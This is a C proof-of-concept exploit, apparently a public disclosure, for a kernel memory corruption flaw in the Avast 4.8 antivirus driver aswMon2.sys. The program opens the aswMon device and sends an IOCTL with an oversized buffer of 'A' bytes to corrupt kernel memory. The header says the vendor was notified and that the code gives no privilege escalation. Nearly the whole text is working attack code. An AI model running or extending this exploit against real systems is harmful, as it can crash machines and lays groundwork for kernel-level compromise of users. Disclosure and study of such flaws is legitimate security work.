/ * Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption * * Author: Giuseppe 'Evilcry' Bonfa' * E-Mail: evilcry _AT_ gmail _DOT_ com * Website: http://evilcry.netsons.org * http://evilcodecave.blogspot.com * http://evilfingers.com * * Vendor: Notified * * No L.P.E. for kiddies * /
#define WIN32_LEAN_AND_MEAN #include < windows.h> #include < stdio.h>
BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab { WCHAR DeviceName[MAX_PATH]; HANDLE hDevice;
if ((GetVersion() & 0xFF) >= 5) { wcscpy(DeviceName, L"\\\\.\\Global\\"); } else { wcscpy(DeviceName, L"\\\\.\\"); }
wcscat(DeviceName, DriverName);
printf("Opening.. %S\n", DeviceName);
hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile() ERROR %d\n", GetLastError()); return FALSE; }
*lphDevice = hDevice;
return TRUE; }
int main() { HANDLE hDev = NULL; DWORD Junk;
if(!OpenDevice(L"aswMon",&hDev)) { printf("Unable to access aswMon"); return(0); }
char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff) { memset(Buff, 'A', 0x288); DeviceIoControl(hDev,0xB2C80018,Buff, 0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL); printf("DeviceIoControl Executed..\n"); } else { printf("VirtualAlloc() ERROR %d\n", GetLastError()); }
return(0); }
|